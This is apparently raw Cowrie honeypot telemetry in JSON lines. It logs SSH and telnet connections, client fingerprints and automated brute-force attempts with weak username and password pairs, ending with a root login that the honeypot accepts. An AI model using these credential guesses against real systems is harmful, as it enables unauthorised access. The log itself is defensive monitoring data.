{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd123","message":"login attempt [pritchard/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:38.706083Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd1234","message":"login attempt [pritchard/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:39.844784Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.231.248.5","src_port":41792,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c281455be80","protocol":"telnet","message":"New connection: 89.231.248.5:41792 (159.203.135.109:23) [session: 4c281455be80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:40.373697Z"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc1234","message":"login attempt [pritchard/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:40.982627Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:42.119888Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96363067626953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:11.337266Z","src_ip":"89.231.248.5","session":"4c281455be80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57912,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9f420360ea5","protocol":"ssh","message":"New connection: 193.32.162.151:57912 (159.203.135.109:22) [session: e9f420360ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:55.213578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:55.225676Z","src_ip":"193.32.162.151","session":"e9f420360ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:55.322121Z","src_ip":"193.32.162.151","session":"e9f420360ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle1234a","message":"login attempt [oracle/oracle1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:55.615114Z","src_ip":"193.32.162.151","session":"e9f420360ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:33:56.758813Z","src_ip":"193.32.162.151","session":"e9f420360ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34068,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5e1d3c8d57b","protocol":"ssh","message":"New connection: 195.178.110.218:34068 (159.203.135.109:22) [session: a5e1d3c8d57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:02.452702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:02.457116Z","src_ip":"195.178.110.218","session":"a5e1d3c8d57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:02.537027Z","src_ip":"195.178.110.218","session":"a5e1d3c8d57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:02.780521Z","src_ip":"195.178.110.218","session":"a5e1d3c8d57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:03.863041Z","src_ip":"195.178.110.218","session":"a5e1d3c8d57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5dfc7728d6","protocol":"ssh","message":"New connection: 80.94.92.186:47818 (10.17.0.5:22) [session: 1a5dfc7728d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:41.814988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:41.904855Z","src_ip":"80.94.92.186","session":"1a5dfc7728d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:42.472127Z","src_ip":"80.94.92.186","session":"1a5dfc7728d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:43.149177Z","src_ip":"80.94.92.186","session":"1a5dfc7728d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:34:44.523565Z","src_ip":"80.94.92.186","session":"1a5dfc7728d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.203","src_port":55480,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c471df6717e","protocol":"telnet","message":"New connection: 66.132.186.203:55480 (159.203.135.109:23) [session: 3c471df6717e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:32.494738Z"}
{"eventid":"cowrie.session.closed","duration":16.18862771987915,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:48.683235Z","src_ip":"66.132.186.203","session":"3c471df6717e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.203","src_port":47140,"dst_ip":"159.203.135.109","dst_port":23,"session":"b77e2557466c","protocol":"telnet","message":"New connection: 66.132.186.203:47140 (159.203.135.109:23) [session: b77e2557466c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:52.006390Z"}
{"eventid":"cowrie.session.closed","duration":3.866497755050659,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:55.872729Z","src_ip":"66.132.186.203","session":"b77e2557466c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.45","src_port":23016,"dst_ip":"159.203.135.109","dst_port":23,"session":"20704467d306","protocol":"telnet","message":"New connection: 66.132.172.45:23016 (159.203.135.109:23) [session: 20704467d306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:56.833680Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.203","src_port":47218,"dst_ip":"159.203.135.109","dst_port":23,"session":"835d54b10e51","protocol":"telnet","message":"New connection: 66.132.186.203:47218 (159.203.135.109:23) [session: 835d54b10e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:35:59.854017Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"979b8ff4e607","protocol":"ssh","message":"New connection: 193.32.162.151:45536 (159.203.135.109:22) [session: 979b8ff4e607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:08.946107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:08.952261Z","src_ip":"193.32.162.151","session":"979b8ff4e607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:09.057342Z","src_ip":"193.32.162.151","session":"979b8ff4e607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"qwer1234","message":"login attempt [oracle/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:09.378553Z","src_ip":"193.32.162.151","session":"979b8ff4e607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.427743911743164,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:10.281659Z","src_ip":"66.132.186.203","session":"835d54b10e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:10.485677Z","src_ip":"193.32.162.151","session":"979b8ff4e607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.387885570526123,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:12.221468Z","src_ip":"66.132.172.45","session":"20704467d306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.45","src_port":28100,"dst_ip":"159.203.135.109","dst_port":23,"session":"468de6ad9ef3","protocol":"telnet","message":"New connection: 66.132.172.45:28100 (159.203.135.109:23) [session: 468de6ad9ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:15.309903Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.186","src_port":22552,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0cb21df0259","protocol":"telnet","message":"New connection: 66.132.186.186:22552 (159.203.135.109:23) [session: e0cb21df0259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:16.031875Z"}
{"eventid":"cowrie.session.closed","duration":3.937300443649292,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:19.247129Z","src_ip":"66.132.172.45","session":"468de6ad9ef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.45","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dbeb3c9491e","protocol":"telnet","message":"New connection: 66.132.172.45:60604 (159.203.135.109:23) [session: 0dbeb3c9491e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:22.330124Z"}
{"eventid":"cowrie.session.closed","duration":15.844196796417236,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:31.875956Z","src_ip":"66.132.186.186","session":"e0cb21df0259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.037156820297241,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:32.367162Z","src_ip":"66.132.172.45","session":"0dbeb3c9491e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.186","src_port":42682,"dst_ip":"159.203.135.109","dst_port":23,"session":"a692356477fe","protocol":"telnet","message":"New connection: 66.132.186.186:42682 (159.203.135.109:23) [session: a692356477fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:52.685133Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44192,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a74df0fdfa5","protocol":"ssh","message":"New connection: 195.178.110.218:44192 (159.203.135.109:22) [session: 3a74df0fdfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:52.993557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:52.999222Z","src_ip":"195.178.110.218","session":"3a74df0fdfa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:53.075624Z","src_ip":"195.178.110.218","session":"3a74df0fdfa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:53.302458Z","src_ip":"195.178.110.218","session":"3a74df0fdfa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:54.380922Z","src_ip":"195.178.110.218","session":"3a74df0fdfa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.334486484527588,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:36:58.019538Z","src_ip":"66.132.186.186","session":"a692356477fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.186","src_port":42774,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e3a95d1291","protocol":"telnet","message":"New connection: 66.132.186.186:42774 (159.203.135.109:23) [session: a2e3a95d1291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:01.457271Z"}
{"eventid":"cowrie.session.closed","duration":10.160791397094727,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:11.617939Z","src_ip":"66.132.186.186","session":"a2e3a95d1291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":41314,"dst_ip":"159.203.135.109","dst_port":22,"session":"12abca056349","protocol":"ssh","message":"New connection: 85.198.97.85:41314 (159.203.135.109:22) [session: 12abca056349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:36.412908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:36.418724Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:36.553175Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwertyroot","message":"login attempt [root/qwertyroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:36.946234Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:37.251153Z","src_ip":"85.198.97.85","session":"12abca056349","protocol":"ssh"}
